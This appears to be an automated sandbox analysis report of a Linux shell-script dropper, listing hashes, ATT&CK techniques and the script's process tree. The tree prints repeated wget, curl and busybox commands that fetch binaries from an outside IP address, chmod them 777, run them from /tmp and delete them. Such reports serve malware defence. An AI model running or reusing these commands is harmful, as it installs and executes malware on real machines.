0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51

Analysis

max time kernel
22s
max time network
25s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/11/2024, 02:05

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General

Target
0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51.sh
Size 10KB
Sample241105-chvmasvlbl
SHA256 0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51
MD5 9df6a14e6b4001c13a62b4575e200d63
SHA1 cf287c33fa75d8178ce187e258d33ff816a4e30e
SHA512 1977eaf21cf49b7ac8b52497369a28ca4f0d974fa98da6be70a5eea14c222d5d8566c1eb308d59da88d564637ecc999ce6ed42bb1c941edda62eb4b0b9ea6163
SSDEEP 192:Skc9kILGOtvHftOzUQoogUQWkakILGObvh:SxxtOSKz
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
673	chmod
735	chmod
776	chmod
684	chmod
692	chmod
705	chmod
720	chmod
756	chmod
767	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX	675	osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
/tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE	685	BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
/tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3	693	NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
/tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX	707	CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
/tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61	722	qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
/tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP	737	o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
/tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0	758	wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
/tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP	768	4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
/tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd	778	9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd

Checks CPU configuration 1 TTPs 9 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE	curl
File opened for modification	/tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd	curl
File opened for modification	/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX	curl
File opened for modification	/tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3	curl
File opened for modification	/tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX	curl
File opened for modification	/tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61	curl
File opened for modification	/tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP	curl
File opened for modification	/tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0	curl
File opened for modification	/tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP	curl

/tmp/0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51.sh
/tmp/0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:653
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:661
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:670
- /bin/chmod
  chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  - Executes dropped EXE
  PID:675
- /bin/rm
  rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:676
- /usr/bin/wget
  wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:677
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:683
- /bin/chmod
  chmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  ./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:686
- /usr/bin/wget
  wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:687
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:688
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:689
- /bin/chmod
  chmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  ./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - Executes dropped EXE
  PID:693
- /bin/rm
  rm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:694
- /usr/bin/wget
  wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:695
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:700
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:703
- /bin/chmod
  chmod 777 CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  ./CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - Executes dropped EXE
  PID:707
- /bin/rm
  rm CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:708
- /usr/bin/wget
  wget http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:718
- /bin/chmod
  chmod 777 qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  ./qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - Executes dropped EXE
  PID:722
- /bin/rm
  rm qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:723
- /usr/bin/wget
  wget http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:725
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:732
- /bin/chmod
  chmod 777 o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  ./o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
  2⤵
  PID:738
- /usr/bin/wget
  wget http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:753
- /bin/chmod
  chmod 777 wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  ./wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
  2⤵
  PID:759
- /usr/bin/wget
  wget http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:764
- /bin/chmod
  chmod 777 4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  ./4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm 4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
  2⤵
  PID:769
- /usr/bin/wget
  wget http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:773
- /bin/chmod
  chmod 777 9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  ./9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm 9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
  2⤵
  PID:779
- /usr/bin/wget
  wget http://87.120.84.230/bins/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
  2⤵
  PID:780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX

Path /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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